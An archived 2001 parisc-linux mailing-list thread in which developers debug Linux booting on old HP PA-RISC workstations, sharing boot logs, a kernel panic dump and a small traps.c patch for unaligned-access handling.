X-Trace: ger.gmane.org 1416620507 25988 80.91.229.3 (22 Nov 2014 01:41:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurijus@theophys.kth.se>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 04:30:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A34A485C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 04:30:50 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15lT0h-0005qD-00
	for parisc-linux@lists.parisc-linux.org; Mon, 24 Sep 2001 12:30:48 +0200
Original-Received: (qmail 6897 invoked from network); 24 Sep 2001 10:24:06 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 24 Sep 2001 10:24:06 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15lStc-0002Bk-00; Mon, 24 Sep 2001 12:23:28 +0200
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0109241132170.9567-100000@uranus.theophys.kth.se>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15lT0h-0005qD-00*AYeDe8iv0fs* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12268

--rJwd6BRFiFCcLxzm
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

News from the front... :-)

The updated printk outputs:

handle_interruption() pid=3D1 command=3D'init' code=3D18

I've also updated my init binary from the baseplus tarball to one I just
cross-compiled from sysvinit-2.82 (along with modifying init.h to
enable debugging output (#define DEBUG 1)), but it doesn't seem as if it
is getting much further than the initial interruption; init probably
isn't running very "far".

What next?=20

Regards,

Albert

--rJwd6BRFiFCcLxzm
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7rwmgDg+hOeRZtkMRAvczAJ9/zTGfibCvYPv8xJY0owBJSWoAUwCeKK5n
EhzLCE0W0pVwlA9098WAkSc=
=GMvq
-----END PGP SIGNATURE-----

--rJwd6BRFiFCcLxzm--




From - Thu Nov 08 21:19:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Additional Address cleanup
Date: Mon, 24 Sep 2001 13:06:36 +0200
Lines: 276
Approved: news@gmane.org
Message-ID: <3BAF13BC.3090302@hrzpub.tu-darmstadt.de>
References: <20010921104838.A2049@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------030305010602090100020802"
X-Trace: ger.gmane.org 1416620508 25993 80.91.229.3 (22 Nov 2014 01:41:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 05:08:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx04.nexgo.de (mx04.nexgo.de [151.189.8.80])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF7AA4843
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 05:08:15 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (dialin-145-254-195-179.arcor-ip.net [145.254.195.179])
	by mx04.nexgo.de (Postfix) with ESMTP
	id 5C0AC37B50; Mon, 24 Sep 2001 13:08:09 +0200 (CEST)
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.4) Gecko/20010913
X-Accept-Language: en-us
Xref: news.gmane.org gmane.linux.ports.parisc:12269

This is a multi-part message in MIME format.
--------------030305010602090100020802
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi there,

I've tested the patch on my 715/100. I enabled STI-Console only and no 
STI-fb, because of the second Coral Graphics Card in my box.Using the 
kernel 2.4.9-pa25, the new patch kernel boots out of the box, but it 
doesn't recognize my graphics cards. I also changed the 
kmalloc-statement according to your second mail .

I added the bootlog.

Any hints? Ruediger


--------------030305010602090100020802
Content-Type: text/plain;
 name="logfile.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="logfile.txt"



----------------------------------------------------------------------------
BootRom Version    1.4  
Memory Size:  128 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1994, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.
----------------------------------------------------------------------------
Command                                Description
-------                                -----------
Auto [boot|search] [on|off]            Set/show auto mode
Boot [pri|alt [isl]]                   Boot from primary or alternate path
Boot [scsi|eisa.<slot>[.<addr>]] [isl] Boot from SCSI or EISA
Boot lan[.<addr>] [install] [isl]      Boot from LAN
Chassis [on|off]                       Set/show chassis codes display mode
DefaultSS                              Reboot and set EEPROM to default values
Diagnostic [on|off]                    Set/show diagnostic boot mode
Fastboot [on|off]                      Set/show fast boot mode
Help                                   Show this command menu
Information                            Show system information
LanAddress                             Show LAN station addresses
Monitor [<DEV>[.<type>]]               Set/show graphics monitor type
                                       (<DEV>=graphics|graphics_<1|2>)
Path [pri|alt [<DEV>[.<addr>]]]        Set/show boot source path
                                       (<DEV>=lan|scsi|eisa.<slot>)
Path [console [<DEV>[.<parm>]]]        Set/show boot console path
                                       (<DEV>=<RS232>|<GRAPH>
                                        <RS232>=rs232|rs232_2
                                        <parm>=<baud>.<length>.<parity>
                                        <GRAPH>=graphics|graphics_<1|2>
                                        <parm>=<monitor>)
Path [keyboard [hil|ps2]]              Set/show boot keyboard path
Pim [hpmc|toc|lpmc]                    Show PIM info
Search [ipl] [scsi|eisa]               Show potential boot devices
Search [ipl] [lan [install]]           Show potential boot LAN devices
Secure [on|off]                        Set/show security mode
----------------------------------------------------------------------------
BOOT_ADMIN>bo pri ipl




Attempting to boot.

Loading Initial Program Loader


IPL successfully loaded


Booting
palo ipl 0.93 root@gandalf Sun Jul  8 12:19:37 CEST 2001
0/vmlinux32 2918801 bytes @ 0x48000
Partition Start(MB) End(MB) Id Type
1               1      22   f0 Palo
2              23      64   83 ext2
3              65     194   82 swap
4             195    2046   83 ext2
Current command line:

2/vmlinux-test root=/dev/sda4 HOME=/ TERM=linux console=ttyS0
 0: 2/vmlinux-test
 1: root=/dev/sda4
 2: HOME=/
 3: TERM=linux
 4: console=ttyS0

Edit which field?
(or 'b' to boot with this command line)? b
Command line: 'root=/dev/sda4 HOME=/ TERM=linux console=ttyS0'

Kernel: partition 2 file /vmlinux-test
ext2 block size 1024
ext2_mount(partition 2) returns 0
ext2_open(/vmlinux-test) = 3
ELF32 executable
Entry 001000b0 first 00100000 n 6
Segment 0 load 00100000 size 1689384 mediaptr 0x1000
Segment 1 load 0029e000 size 275544 mediaptr 0x19e000
Segment 2 load 002e4000 size 361024 mediaptr 0x1e2000
Segment 3 load 00340000 size 8192 mediaptr 0x23b000
Segment 4 load 00348000 size 32768 mediaptr 0x23d000
Segment 5 load 00384acc size 86704 mediaptr 0x245acc
branching to kernel entry point 0x001000b0
Set default PSW W bit to 0
Linux version 2.4.9-pa25 (ruediger@gandalf) (gcc version 3.0.2 20010825 (Debian prerelease)) #1 Sam Sep 22 17:06:55 CEST 2001
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Older Legacy Box
model	000060b0 00000481 00000000 00000000 77b661a7 00000000 00000004 00000072 00000072
vers	0000000b
CPUID	vers 0 rev 0
model	9000/715
Total Memory: 128 Mb
pagetable_init
On node 0 totalpages: 32768
zone(0): 32768 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sda4 HOME=/ TERM=linux console=ttyS0
Console: colour dummy device 160x64
Calibrating delay loop... 99.73 BogoMIPS
Memory: 126136k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
POSIX conformance testing by UNIFIX
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf4000000, versions 0x4, 0x0, 0x77
2. Mirage GSC Builtin Graphics (10) at 0xf8000000, versions 0x13, 0x0, 0x85
3. Mirage Core BA (11) at 0xf0100000, versions 0x29, 0x0, 0x81
4. Mirage Core SCSI (10) at 0xf0106000, versions 0x29, 0x0, 0x82
5. Mirage Core LAN (802.3) (10) at 0xf0107000, versions 0x29, 0x0, 0x8a
6. Mirage Core RS-232 (10) at 0xf0105000, versions 0x29, 0x0, 0x8c
7. Mirage Core Centronics (10) at 0xf0102000, versions 0x29, 0x0, 0x74
8. Mirage Audio (10) at 0xf0104000, versions 0x29, 0x0, 0x7b
9. Mirage Core PC Floppy (10) at 0xf010a000, versions 0x29, 0x0, 0x83
10. Mirage Core PS/2 Port (10) at 0xf0108000, versions 0x29, 0x0, 0x84
11. Mirage Core PS/2 Port (10) at 0xf0108100, versions 0x29, 0x0, 0x84
12. Mirage Wax BA (11) at 0xf0200000, versions 0x13, 0x0, 0x8e
13. Mirage 100 Wax HIL (10) at 0xf0201000, versions 0x13, 0x0, 0x73
14. Mirage Wax RS-232 (10) at 0xf0202000, versions 0x13, 0x0, 0x8c
15. Mirage 100 (0) at 0xfffbe000, versions 0x60b, 0x0, 0x4
16. Mirage 100 (1) at 0xfffbf000, versions 0x4b, 0x0, 0x9
That's a total of 16 devices.
CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz
iosapic_init()
pdc_pci_irt_size: -1
Lasi version 0 at 0xf0100000 found.
LED display at f00e0000 registered
Wax at 0xf0200000 found.
Wax: HIL Keyboard-NMI registered.
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
VFS: Diskquotas version dquot_6.4.0 initialized
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0202800 (irq = 121) is a 16550A
Lasi PS/2 receive buffer timeout
PS/2 keyboard port at 0xf0108000 (irq 69) found, no device attached.
Lasi PS/2 transmit buffer timeout
PS/2 psaux port at 0xf0108100 (irq 69) found, no device attached.
Found HIL at 0xf0201000, IRQ 126
HIL: keyboard found at id 0
HIL: keymap loaded.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0107000, IRQ 87
eth0: 82596 at 0xf0107000, 08 00 09 7A DC 08 IRQ 87.
82596.c $Revision: 1.22 $
SCSI subsystem driver Revision: 1.00
sim700: Configuring 53c710 (SCSI-ID 7) at f0106100, IRQ 86, options 0
scsi0: Revision 0x2
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: SEAGATE   Model: ST32430N          Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
Lasi Harmony Audio rev. 18 at 0xf0104000, using IRQ 82
sticonsole_init: searching for STI ROMs
Warning : device (10, 0x4, 0x0, 0x77) NOT claimed by sti (native)
Warning : device (10, 0x13, 0x0, 0x85) NOT claimed by sti (native)
md: linear personality registered
md: raid0 personality registered
md: raid1 personality registered
md: raid5 personality registered
raid5: measuring checksumming speed
   8regs     :    70.800 MB/sec
   8regs_prefetch:    98.000 MB/sec
   32regs    :   118.400 MB/sec
   32regs_prefetch:   164.400 MB/sec
raid5: using function: 32regs_prefetch (164.400 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
INIT: version 2.78 booting
Activating swap...
Adding Swap: 132920k swap-space (priority -1)
Checking root file system...
Parallelizing fsck version 1.22 (22-Jun-2001)
/dev/sda4: clean, 41827/237120 files, 162129/474075 blocks
Checking all file systems...
Parallelizing fsck version 1.22 (22-Jun-2001)
/dev/sda2: clean, 23/10944 files, 14621/43617 blocks
Setting kernel variables.
Loading the saved-state of the serial devices... 
Mounting local filesystems...
mount: devpts already mounted on /dev/pts
/dev/sda2 on /boot type ext2 (rw,errors=remount-ro)
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces: eth0: link ok.
done.
Starting portmap daemon: portmap.
Starting portmapper... Mounting remote filesystems...
mount: RPC: Unable to receive; errno = Connection refused

Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Mon Sep 24 11:52:03 CEST 2001

Cleaning: /tmp /var/lock /var/run.
Initializing random number generator... done.
Recovering nvi editor sessions... done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting NFS common utilities: statd lockd.
Starting internet superserver: inetd.
Not starting NFS kernel daemon: No exports.
Starting OpenBSD Secure Shell server: sshd.
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.
Starting web server: apache.
/usr/sbin/apachectl start: httpd started

Debian GNU/Linux testing/unstable gandalf ttyS0

gandalf login: 
--------------030305010602090100020802--






From - Thu Nov 08 21:19:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian bootfloppies with -pa22 fails on 720/50
Date: Mon, 24 Sep 2001 13:21:45 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <20010924132145.B8726@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="cvVnyQ+4j833TQvp"
X-Trace: ger.gmane.org 1416620508 25997 80.91.229.3 (22 Nov 2014 01:41:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:48 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 05:22:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2821248A5
	for <parisc-linux@parisc-linux.org>; Mon, 24 Sep 2001 05:22:31 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15lTod-00015D-00
	for parisc-linux@parisc-linux.org; Mon, 24 Sep 2001 13:22:23 +0200
Original-Received: (qmail 6981 invoked from network); 24 Sep 2001 11:22:23 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 24 Sep 2001 11:22:23 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15lTo1-0002Gu-00
	for <parisc-linux@parisc-linux.org>; Mon, 24 Sep 2001 13:21:45 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15lTod-00015D-00*lJz9PP05jtA* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12270

--cvVnyQ+4j833TQvp
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Eek! :-)

After your changes (making case 18 fall through to case 28), I get the
following happy-and-warm-and-fuzzy message:

...
VFS: Mounted root (nfs filesystem) readonly.
init(1): unaligned access to 0x00090cf4 at ip=0x000157af
init[1]: Unaligned data reference 28

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 1035d973 1010ccb8 10038258
r4-7     10038648 ffffffff 00000012 faf0004c
r8-11    00000000 00069c48 000100c4 00014dd8
r12-15   10348000 00000000 00000000 00000000
r16-19   10038258 00000000 10348000 00000000
r20-23   00090cf4 0000001f 00000000 10038258
r24-27   00000001 00000001 1027b8e0 102a4010
r28-31   00000000 00000004 10038800 10118338
sr0-3    00000000 105b60c0 00000000 00000001
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1010ca64 1010ca68
 IIR: 0e93d222    ISR: 00000001  IOR: 00090cf4
 CPU:        0   CR30: 10038000 CR31: 10350000
 ORIG_R28: 10038600
Kernel panic: Attempted to kill init!

This doesn't mean much to me, so let me know what you want me to do now.
:-)

Regards,

Albert

--cvVnyQ+4j833TQvp
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7rxdIDg+hOeRZtkMRAuZIAJ9cpIzS68xOk5yEsIlJG8lyDt9BJwCdF9Er
7LYIK0QeoPrJH+ySKNb3DrU=
=IUu4
-----END PGP SIGNATURE-----

--cvVnyQ+4j833TQvp--




From - Thu Nov 08 21:19:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian bootfloppies with -pa22 fails on 720/50
Date: Mon, 24 Sep 2001 13:22:34 +0200 (CEST)
Lines: 61
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0109241319010.9317-100000@www2.scram.de>
References: <20010924120501.A8276@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620508 26001 80.91.229.3 (22 Nov 2014 01:41:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:48 +0000 (UTC)
Cc: Jurij Smakov <jurijus@theophys.kth.se>,
	<parisc-linux@lists.parisc-linux.org>
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 05:23:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46DEC48A5
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 05:23:04 -0600 (MDT)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f8OBMZq20191;
	Mon, 24 Sep 2001 13:22:35 +0200 (CEST)
In-Reply-To: <20010924120501.A8276@dogbert.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:12271

Hi Albert,

> Thanks for the reply. I was considering exactly this course of action.
> Hopefully I can spot something then. I'll post my findings here. :-)
>
> I was also thinking of adding some debug output to init itself.
> Seemingly it gets run, and during that process the kernel loses it...?

There are some issues with 720 boxes. This old patch at least gets me
started, although some alignment faults remain for some user space tools:

"Our" CPUs are very old. So there must be a line added in
the arch/parisc/kernel/trap.c file. In the handle_interruption()
you must add the line
        `case 18:'
where
        `case 15:'
        `case 26:'
is in the code, because these old CPUs use an older method of
"reporting" page faults, etc...

There was a second patch posted some time ago, but that one didn't work
for me:

Index: traps.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/traps.c,v
retrieving revision 1.52
diff -u -p -r1.52 traps.c
--- traps.c	2001/09/06 09:44:07	1.52
+++ traps.c	2001/09/15 16:52:13
@@ -322,6 +322,11 @@ void handle_interruption(int code, struc
 		fault_address = regs->ior;
 		parisc_terminate("Non access data tlb fault!",regs,code,fault_address);

+	case 18: /* PCX-S processors don't use 26, 27, 28 */
+		if (regs->ior & 3)
+			goto unaligned_d_access;
+		/* Fall through */
+
 	case 15:
 	case 26:
 		fault_address = regs->ior;
@@ -416,7 +421,8 @@ void handle_interruption(int code, struc
 		force_sig_info(SIGSEGV, &si, current);
 		return;

-	case 28:  /* Unaligned just causes SIGBUS for now */
+ unaligned_d_access:
+	case 28:
 		handle_unaligned(regs);
 #if 0
 		die_if_kernel("Unaligned data reference", regs, code);

Cheers,
Jochen






From - Thu Nov 08 21:19:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian bootfloppies with -pa22 fails on 720/50
Date: Mon, 24 Sep 2001 14:36:17 +0200 (CEST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0109241435300.9317-100000@www2.scram.de>
References: <20010924132145.B8726@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620508 26007 80.91.229.3 (22 Nov 2014 01:41:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:48 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 06:36:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id A53C44843
	for <parisc-linux@parisc-linux.org>; Mon, 24 Sep 2001 06:36:28 -0600 (MDT)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f8OCaIq20900;
	Mon, 24 Sep 2001 14:36:18 +0200 (CEST)
In-Reply-To: <20010924132145.B8726@dogbert.localdomain>
Xref: news.gmane.org gmane.linux.ports.parisc:12272

Hi Albert,

> After your changes (making case 18 fall through to case 28), I get the
> following happy-and-warm-and-fuzzy message:

As i said, the second patch didn't work for me, as well. The first one
(fall through to case 26) did.

Cheers,
Jochen





From - Thu Nov 08 21:19:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: Re: [parisc-linux] Debian bootfloppies with -pa22 fails
	on 720/50
Date: Mon, 24 Sep 2001 14:39:09 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <sbaf46e9.068@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620509 26012 80.91.229.3 (22 Nov 2014 01:41:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:49 +0000 (UTC)
To: <fullung@ilink.nis.za>, <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 06:46:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82EE348BA
	for <parisc-linux@parisc-linux.org>; Mon, 24 Sep 2001 06:46:48 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id OAA23974 for <parisc-linux@parisc-linux.org>; Mon, 24 Sep 2001 14:46:47 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma023622; Mon, 24 Sep 01 14:45:17 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Mon, 24 Sep 2001 14:44:57 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:12273

>Eek! :-)
>
>After your changes (making case 18 fall through to case 28), I get the
>following happy-and-warm-and-fuzzy message:
>
>...
>VFS: Mounted root (nfs filesystem) readonly.
>init(1): unaligned access to 0x00090cf4 at ip=3D0x000157af
>init[1]: Unaligned data reference 28
>
>     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>PSW: 00000000000001001111111100001111
>r0-3     00000000 1035d973 1010ccb8 10038258
>r4-7     10038648 ffffffff 00000012 faf0004c
>r8-11    00000000 00069c48 000100c4 00014dd8
>r12-15   10348000 00000000 00000000 00000000
>r16-19   10038258 00000000 10348000 00000000
>r20-23   00090cf4 0000001f 00000000 10038258
>r24-27   00000001 00000001 1027b8e0 102a4010
>r28-31   00000000 00000004 10038800 10118338
>sr0-3    00000000 105b60c0 00000000 00000001
>sr4-7    00000000 00000000 00000000 00000000
>
>IASQ: 00000000 00000000 IAOQ: 1010ca64 1010ca68
> IIR: 0e93d222    ISR: 00000001  IOR: 00090cf4
> CPU:        0   CR30: 10038000 CR31: 10350000
> ORIG_R28: 10038600
>Kernel panic: Attempted to kill init!
>
>This doesn't mean much to me, so let me know what you want me to do now.
>:-)
>
Look up the thread on 'nmap -O fails on 712/60' from just 2 weeks ago and
decode this using your own system.map.....

Good luck,
Jurriaan





From - Thu Nov 08 21:19:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian bootfloppies with -pa22 fails on 720/50
Date: Mon, 24 Sep 2001 14:49:14 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <20010924144914.D8726@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="0vzXIDBeUiKkjNJl"
X-Trace: ger.gmane.org 1416620509 26015 80.91.229.3 (22 Nov 2014 01:41:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 06:49:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE8C148BA
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 06:49:56 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15lVBJ-0001LJ-00
	for parisc-linux@lists.parisc-linux.org; Mon, 24 Sep 2001 14:49:53 +0200
Original-Received: (qmail 7107 invoked from network); 24 Sep 2001 12:49:53 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 24 Sep 2001 12:49:53 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15lVAg-0002In-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 14:49:14 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15lVBJ-0001LJ-00*UK23tyBYjN6* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12274

